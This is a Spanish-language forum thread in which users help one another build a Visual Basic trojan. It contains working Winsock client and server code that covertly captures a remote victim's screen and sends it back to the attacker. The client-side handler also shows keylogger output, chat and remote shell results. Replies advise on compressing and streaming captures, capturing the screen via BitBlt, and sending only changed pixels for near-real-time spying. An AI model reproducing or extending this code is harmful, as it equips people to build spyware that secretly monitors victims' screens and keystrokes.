Veran para la 5 version del dioxis queria acoplarle un visor de capturas del host remoto
Lo ya realizado y conseguido con exito ha sido que la cree en el lugar donde se dice en el host remoto, ahora me toca la parte en la que la tengo que enviar
Despues de ir a recursosvb y demas, encontre ejemplos pero que no me han llegado a funcionar bien
La estructura que tengo que seguir es esta
Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos
Aqui es donde esta la duda, en el dataarrival del cliente lo tengo asi
dim devu as string
wsk.getdata devu
ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien
con esto quiero decir que si no defino la variable, para variant no funciona, si la pongo en byte no me tiran las ordenes con strings y si la pongo en byte no me funcionan los strings
alguna ayuda quien lo haya entendido?
:)
Yo estuve haciendo eso con puertos UDP en c+++ no solo imagenes sino archivos xls,ppt,doc,accb XD :¬¬ y nunca me llegaba el archivo integro lo que hice fue especificar en el los dos programas cliente y servidor que se envia y se recibe un stream no un string. y emviaba el archivo por partes si era muy grande jeje :P.
Saludos
ya, pero alguna idea para esto?
porque el problema esta en la variable, o envio strings o bytes
;D
Si estas capturando una instantanea de la pantalla y lo estas guardando en bmp Xd en que andas? :silbar: estos archivos por lo general son grandes de mas de 1MB :o lo que lo hace muy grande para enviar mas cuando el ancho de banda es limitado como el mio que apenas raya los 30kb :-( por lo que lo tienes que comprimir y al hacerlo te queda en 80Kb ;D no se mucho de visual basic pero si tal vez leyeras segmentos del archivo en un stream y lo envias como tal y el el receptor recbiera esos datos como stream claro cliente y servidor de mismo tamaño el puntero ;) y lo vas uniendo creo que funcionaria mas.
Saludos :laugh:
lo mejor sera cambiarlo a jpg, me mirare algo por ahi, pero en cuanto a la variable... haber que hago
Cita de: 50l3r en 23 Julio 2009, 15:30 PM
Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos
Citar
El cliente manda los datos
Parece que ahi debio ser "Servidor envia los datos"
y a modo de sugerencia puedo decirte los sgte en cuanto a tus capturas:
- Definitivamente tienes que pasar el BMP a JPG, usando por ejemplo el GDI Plus, en la red hay una clase para basic que usa esas APIS y esta listo para usar
- Para acelerar la transferencia de la captura, tambien puedes convertirla a escala de grises, de ese modo el archivo ademas de estar en JPG, esta en solo 2 colores (blanco y negro) por lo que se consigue una disminucion entre el 25 y 30% del tamaño original
- Para reducir mas aun el tiempo de transferencia y el tamaño del archivo puedes "ESCALAR" la captura, este metodo me ha dado resultados extraordinarios pues una captura de toda la pantalla me ha llegado a pesar 1KB (Un KB), por supuesto que es una captura muy pequeña, de 20x20 pixeles por ejemplo, pero se entiende muy bien pudiendo aumentar el zoom pero sin sobrepasarse en el tamaño, un buen escalado a 8x o 9x en donde se ve casi todo no pasa de los 20 o 25KB y eso es muy muy aceptable para transferirlo
- Pero hay mas, puedes trozear la captura, es decir que solo mandes a capturar una zona de la pantalla a determinada resolucion, a determinado tamaño, e incluso covertido a escala de grises y escalado, con lo que consigues, buenas capturas, nitidas y de menor tamaño, para una facil transferencia
- y esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono
Citar
dim devu as string
wsk.getdata devu
ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien
La transferencia de archivos se hace a puro "strings", y no solo de archivos sino de cualquier cosa... si "devu" es string, no hay ningun problema, tu captura se recibira sin problemas en esa variable, claro que hay que estar acumulando cada vez que el servidor vaya enviando el archivo de la captura.
Citar
con esto quiero decir que si no defino la variable, para variant no funciona
Particularmente no uso nunca el tipo variant
Citary esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono
Digo no para esto tambien seria optimo la captura de video por alli hay unas librerias que permiten hacer todo esto. Pero me parece que hacer esto en el clasico cliente servidor es un poco arriesgado por la cuestion de las ip y los ISP :silbar: Otra cosa si las imagenes a comparar son capturas de pantalla la podemos comparar por simple comparacion de pixel y ajustar cierto coeficiente de parecido que sean un 80 o 90% en cambio si son fotos ya hay que recurrir a redes neuronales :huh: XD.
asi que con string pasaria? ok, y que lo guardo asi directamente en la imagen?
mira un poquitin esta es la estructura:
El cliente manda la señal para que capture la imagen, la guarde y envie el tamaño
Private Sub Command1_Click()
wsk.SendData "<<-envia-capt->>"
imag3n = "encendido"
End Sub
El servidor coge la señal y manda el tamaño y demas
ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
If ordenimgenv <> 0 Then
Call Capturar_Guardar
End If
Private Sub Capturar_Guardar()
Dim rutaimg As String
MsgBox "cogiendo captura"
rutaimg = Environ$("homedrive") & "\cap.bmp"
If Dir(rutaimg) <> "" Then Kill rutaimg
Clipboard.Clear ' limpiar clipboard
Call keybd_event(44, 2, 0, 0) ' apretar impr pant
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
If Dir(rutaimg) <> "" Then
wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
MsgBox "envie los datos"
End If
End Sub
El cliente recibe el tamaño y pone la variable imag3n = noimagen para poder recibir los datos y avisa al servidor que le mande los datos
If imag3n = "encendido" Then
MsgBox "entra a coger tamaño"
wsk.GetData vData, vbString
MsgBox vData
averiarc = InStr(1, vData, ">>|Archivo|<<")
If averiarc = 0 Then
imag3n = "noencendido"
lBytes = 0
vData = Split(vData, ">>|Archivo|<<")
lFileSize = vData(1)
MsgBox "tamaño: " & vData(1)
' Le enviamos como mensaje al cliente que comienze el envio del archivo
wsk.SendData "<<--envia-datos-->>"
'Creamos un archivo en modo binario
Open rutaimg For Binary Access Write As #1
El servidor recibe la orden y manda los datos
ordenimgenv2 = InStr(1, orden, "<<--envia-datos-->>")
If ordenimgenv2 <> 0 Then
Call enviar_img
End If
Private Sub enviar_img()
Dim imagen As String
Dim Size As Long
Dim arrData() As Byte
imagen = Environ$("homedrive") & "\cap.bmp"
Open imagen For Binary Access Read As #1 ' abrimos la captura
Size = LOF(1) ' obtenemos el tamaño de la captura
ReDim arrData(Size - 1) ' redimensionamos la variable
Get #1, , arrData ' le pasamos todo a la variable
Close
wsk.SendData arrData
End Sub
El cliente esta preparado ya para recibir el archivo
ElseIf imag3n = "noencendido" Then
MsgBox "entra a coger los datos"
' Aumentamos lBytes con los datos que van llegando
lBytes = lBytes + bytesTotal
'Recibimos los datos y lo almacenamos en el arry de bytes
wsk.GetData arrData
'Escribimos en disco el array de bytes, es decir lo que va llegando
Put #1, , arrData
' Si lo recibido es mayor o igual al tamaño entonces se terminó y cerramos
'el archivo abierto
If lBytes >= lFileSize Then
'Cerramos el archivo
Close #1
'Reestablecemos el flag y la variable lBytes por si se intenta enviar otro archivo
flag = False
lBytes = 0
'Mostrar mensaje de finalización
MsgBox "El archivo se ha recibido por completo"
imag3n = ""
End If
End If
Luego en todo caso de que no se quiera recibir imagen sigue con lo demas
Else
wsk.GetData devu
nickcmpr = InStr(1, devu, "<<necesito-nick>>")
If nickcmpr <> 0 Then
MsgBox "Al parecer " & wsk.RemoteHostIP & " necesita nick :_"
nick = InputBox("Pon el nick que desees a " & wsk.RemoteHostIP, "Ingresando nick", "")
wsk.SendData "<<toma-nick>>" & nick
txtnick = nick
Exit Sub
End If
nickcmprr = InStr(1, devu, "<<NICK>>")
If nickcmprr <> 0 Then
ola = Split(devu, "<<NICK>>")
txtnick = ola(1)
Exit Sub
End If
For i = 0 To Len(devu)
busca = InStr(1, devu, ">>|chating>>")
Next
If busca <> 0 Then
mens = Split(devu, ">>|chating>>")
frmchat.Text1.Text = frmchat.Text1.Text & vbCrLf & "El usuario remoto te dice:" & vbCrLf & mens(1) & vbCrLf
Exit Sub
End If
If Left(devu, 10) = "\\TECLAS//" Then
keyko = Split(devu, "\\TECLAS//")
If devu = Chr(13) Then ' si encuentra un enter
frmklg.txtkey.Text = frmklg.txtkey.Text & vbCrLf
Exit Sub
End If
If devu = Chr(9) Then frmklg.txtkey.Text = frmklg.txtkey.Text & Chr(9) ' si encuentra un tabulador
escribiendo:
frmklg.txtkey.Text = frmklg.txtkey.Text + keyko(1)
Exit Sub
End If
' ordenes shell remota
txtdlv.Text = devu
Exit Sub
End If
End Sub
en el WinSock del Servidor puedes espesificar la obtencion de datos de la siguiente forma
winsock.getdata Datos, vbString
ó
w.GetData datos, vbByte ' Este nunca lo prove
pero si deseas otra forma puede generar una funcion que transforme el byte en string y viceversa¡!
Dulces Lunas.
Citar
Private Sub Command1_Click()
wsk.SendData "<<-envia-capt->>"
imag3n = "encendido"
End Sub
de preferencia usa un booleano para el flag que indicara la recepcion del A R C H I V O de la imagen, por que a las finales es solo eso un archivo.
Citar
ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
[/quote]
usa split, es mas comodo, no deberias liarte mucho con InSTR
[quote]
[code=vb]Private Sub Capturar_Guardar()
Dim rutaimg As String
MsgBox "cogiendo captura"
rutaimg = Environ$("homedrive") & "\cap.bmp"
If Dir(rutaimg) <> "" Then Kill rutaimg
Clipboard.Clear ' limpiar clipboard
Call keybd_event(44, 2, 0, 0) ' apretar impr pant
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
If Dir(rutaimg) <> "" Then
wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
MsgBox "envie los datos"
End If
End Sub
Citar
te recomiendo que uses otro metodo para capturar la pantalla y no usando la tecla print screen, en vez de ello puedes usar la API bitblt y al respecto encontraras muchas info en el tio google ademas de ser tambien mucho mas cómodo.
Citar
If imag3n = "encendido" Then
MsgBox "entra a coger tamaño"
wsk.GetData vData, vbString
MsgBox vData
averiarc = InStr(1, vData, ">>|Archivo|<<")
If averiarc = 0 Then
imag3n = "noencendido"
lBytes = 0
vData = Split(vData, ">>|Archivo|<<")
lFileSize = vData(1)
MsgBox "tamaño: " & vData(1)
' Le enviamos como mensaje al cliente que comienze el envio del archivo
wsk.SendData "<<--envia-datos-->>"
'Creamos un archivo en modo binario
Open rutaimg For Binary Access Write As #1
mira me parece mucho lio, la cosa es simple una vez que el servidor empieza a enviar los datos del archivo (cuando en el cliente el flag este a true), tu lo vas recibendo y acumulando en una variable, luego si el tamaño de dicha variable es igual al tamaño que mas antes recibiste entonces es recien ahi donde creas el archivo y dentro escribes toda la variable (archivo)
Citar
Private Sub enviar_img()
Dim imagen As String
Dim Size As Long
Dim arrData() As Byte
imagen = Environ$("homedrive") & "\cap.bmp"
Open imagen For Binary Access Read As #1 ' abrimos la captura
Size = LOF(1) ' obtenemos el tamaño de la captura
ReDim arrData(Size - 1) ' redimensionamos la variable
Get #1, , arrData ' le pasamos todo a la variable
Close
wsk.SendData arrData
End Sub
ademas no hay necesidad de pasar la imagen a un array, tu solo declara una variable string asi:
Dim DatosArchivo As String
y en esa variable sacas el contenido de la imagen, y es todo.
Suerte con tu capturador, y solo se trata de un archivo mas comun y corriente, saludos.[/code]